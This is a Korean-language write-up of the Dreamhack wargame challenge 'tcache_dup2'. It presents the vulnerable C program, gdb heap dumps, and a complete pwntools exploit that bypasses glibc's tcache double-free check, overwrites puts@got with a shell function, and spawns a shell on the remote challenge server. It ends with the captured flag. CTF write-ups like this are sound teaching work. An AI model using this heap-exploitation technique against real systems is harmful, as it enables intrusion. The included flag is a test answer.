콘텐츠로 건너뛰기

tcache_dup2

Description

이 문제는 서버에서 작동하고 있는 서비스(tcache_dup2)의 바이너리와 소스 코드가 주어집니다.
취약점을 익스플로잇해 셸을 획득한 후, “flag” 파일을 읽으세요.
“flag” 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{…} 입니다.

Environment

Ubuntu 19.10
Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

디버깅 실습을 위해 로컬 환경에서는 ubuntu 19.10 환경에서 테스트했다.
(libc 2.30-0ubuntu2.2)

checksec

seo@ubuntu:~/Documents/tcache_dup2$ checksec ./tcache_dup2
[*] '/home/seo/Documents/tcache_dup2/tcache_dup2'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Source Code

tcache_dup2.c

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

char *ptr[7];

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
}

void create_heap(int idx) {
    size_t size;

    if (idx >= 7)
        exit(0);

    printf("Size: ");
    scanf("%ld", &size);

    ptr[idx] = malloc(size);

    if (!ptr[idx])
        exit(0);

    printf("Data: ");
    read(0, ptr[idx], size-1);
}

void modify_heap() {
    size_t size, idx;

    printf("idx: ");
    scanf("%ld", &idx);

    if (idx >= 7)
        exit(0);

    printf("Size: ");
    scanf("%ld", &size);

    if (size > 0x10)
        exit(0);

    printf("Data: ");
    read(0, ptr[idx], size);
}

void delete_heap() {
    size_t idx;

    printf("idx: ");
    scanf("%ld", &idx);
    if (idx >= 7)
        exit(0);

    if (!ptr[idx])
        exit(0);

    free(ptr[idx]);
}

void get_shell() {
    system("/bin/sh");
}
int main() {
    int idx;
    int i = 0;

    initialize();

    while (1) {
        printf("1. Create heap\n");
        printf("2. Modify heap\n");
        printf("3. Delete heap\n");
        printf("> ");

        scanf("%d", &idx);

        switch (idx) {
            case 1:
                create_heap(i);
                i++;
                break;
            case 2:
                modify_heap();
                break;
            case 3:
                delete_heap();
                break;
            default:
                break;
        }
    }
}

1) create_heap

원하는 크기의 청크를 할당할 수 있다.
main_arena에서 heap 관리가 되지 않으며, tcache로 할당해야된다.

2) modify_heap

DFB 취약점을 사용하려면, modify_heap을 통해 이전 Tcache Poisoning 문제와 마찬가지로 e→key 값을 변조하기 위해 사용하면 될 것이다.

3) delete_heap

free(ptr[idx]);를 통해 청크를 해제할 수 있다.

Solution

먼저, tcache로 9바이트 메모리를 할당하고 free를 하면,

from pwn import *
#context.log_level = 'debug'
context(arch='amd64', os='linux')
warnings.filterwarnings('ignore')

p = process("./tcache_dup2")

def create(size, data):
    p.sendlineafter("> ", "1")
    p.sendlineafter("Size: ", str(size))
    p.sendafter("Data: ", data)

def modify(idx, size, data):
    p.sendlineafter("> ", "2")
    p.sendlineafter("idx: ", str(idx))
    p.sendlineafter("Size: ", str(size))
    p.sendafter("Data: ", data)

def delete(idx):
    p.sendlineafter("> ", "3")
    p.sendlineafter("idx: ", str(idx))


# malloc 9bytes and filled with AAAA...
create(9, "A"*8)
delete(0)
pause()
gdb-peda$ parseheap
addr                prev                size                 status              fd                bk
0x405000            0x0                 0x290                Used                None              None
0x405290            0x0                 0x20                 Freed                0x0              None
gdb-peda$ heapinfoall

(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x4052b0 (size : 0x20d50)
       last_remainder: 0x0 (size : 0x0)
            unsortbin: 0x0
(0x20)   tcache_entry[0](1): 0x4052a0
gdb-peda$ p *(tcache_entry *)0x4052a0
$1 = {
  next = 0x0,
  key = 0x405010
}

그러면 0x405010이 e→key 값이 된다.

DFB 취약점을 위해 B를 8바이트 더미로 채우고 e→key를 변조해보자.

# Bypass DFB mitigation
modify(0, 9, "B"*8 + "\x00")
pause()
gdb-peda$ parseheap
addr                prev                size                 status              fd                bk
0x405000            0x0                 0x290                Used                None              None
0x405290            0x0                 0x20                 Freed 0x4242424242424242              None
gdb-peda$ heapinfoall

(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x4052b0 (size : 0x20d50)
       last_remainder: 0x0 (size : 0x0)
            unsortbin: 0x0
(0x20)   tcache_entry[0](1): 0x4052a0 --> 0x4242424242424242 (invaild memory)
gdb-peda$ parseheap
addr                prev                size                 status              fd                bk
0x405000            0x0                 0x290                Used                None              None
0x405290            0x0                 0x20                 Freed 0x4242424242424242              None
gdb-peda$ p *(tcache_entry *)0x4052a0
$2 = {
  next = 0x4242424242424242,
  key = 0x405000
}

e→key 중 하위 1바이트가 “\x00″으로 덮어써진 것을 알 수 있다.

그리고 한번더 free를 해보면,

delete(0)
pause()
gdb-peda$ heapinfoall

(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x4052b0 (size : 0x20d50)
       last_remainder: 0x0 (size : 0x0)
            unsortbin: 0x0
(0x20)   tcache_entry[0](2): 0x4052a0 --> 0x4052a0 (overlap chunk with 0x405290(freed) )

DFB mitigation이 우회되어,
청크는 중첩상태가 된 것을 확인할 수 있다.

이제 임의의 주소에 값을 쓸 수 있다.

tcache에 삽입할 주소를 입력해서 fd를 수정해서 할당한다.
이를 통해 특정 영역에 heap을 할당하여 변조가 가능하게 되는데,
여기서는 쉘을 획득하기 위해 puts@got 주소에 get_shell 주소로 덮어썼다.

# Overwrite get_shell to puts@got 
e = ELF("./tcache_dup2")
puts_got = e.got['puts']
get_shell = e.symbols['get_shell']
modify(0, 9, p64(puts_got))
#pause()
create(9, 'C'*8)
create(9, p64(get_shell))

p.interactive()
gdb-peda$ p *(tcache_entry *)0x4052a0
$1 = {
  next = 0x404020 <[email protected]>,
  key = 0x405010
}
gdb-peda$ p *(struct malloc_chunk *)0x405290
$2 = {
  mchunk_prev_size = 0x0,
  mchunk_size = 0x21,
  fd = 0x404020 <[email protected]>,
  bk = 0x405010,
  fd_nextsize = 0x0,
  bk_nextsize = 0x20d51
}

solve.py

from pwn import *
#context.log_level = 'debug'
context(arch='amd64', os='linux')
warnings.filterwarnings('ignore')

#p = process("./tcache_dup2")
p = remote("host3.dreamhack.games", 14912)

def create(size, data):
    p.sendlineafter("> ", "1")
    p.sendlineafter("Size: ", str(size))
    p.sendafter("Data: ", data)

def modify(idx, size, data):
    p.sendlineafter("> ", "2")
    p.sendlineafter("idx: ", str(idx))
    p.sendlineafter("Size: ", str(size))
    p.sendafter("Data: ", data)

def delete(idx):
    p.sendlineafter("> ", "3")
    p.sendlineafter("idx: ", str(idx))


# malloc 9bytes and filled with AAAA...
create(9, "A"*8)
delete(0)
#pause()

# Bypass DFB mitigation and free!
modify(0, 9, "B"*8 + "\x00")
delete(0)
# pause()

# Overwrite get_shell to puts@got 
e = ELF("./tcache_dup2")
puts_got = e.got['puts']
get_shell = e.symbols['get_shell']
modify(0, 9, p64(puts_got))
create(9, 'C'*8)
create(9, p64(get_shell))

p.interactive()

Result

seo@ubuntu:~/Documents/tcache_dup2$ python3 solve.py
[+] Opening connection to host3.dreamhack.games on port 14912: Done
[*] '/home/seo/Documents/tcache_dup2/tcache_dup2'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] Switching to interactive mode
$ ls
flag
tcache_dup2
$ cat flag
DH{025244482b3e8a14a2f2f1d984a753fa71a275918d61f6c2e3ae0980e2cb2a96}
태그:

답글 남기기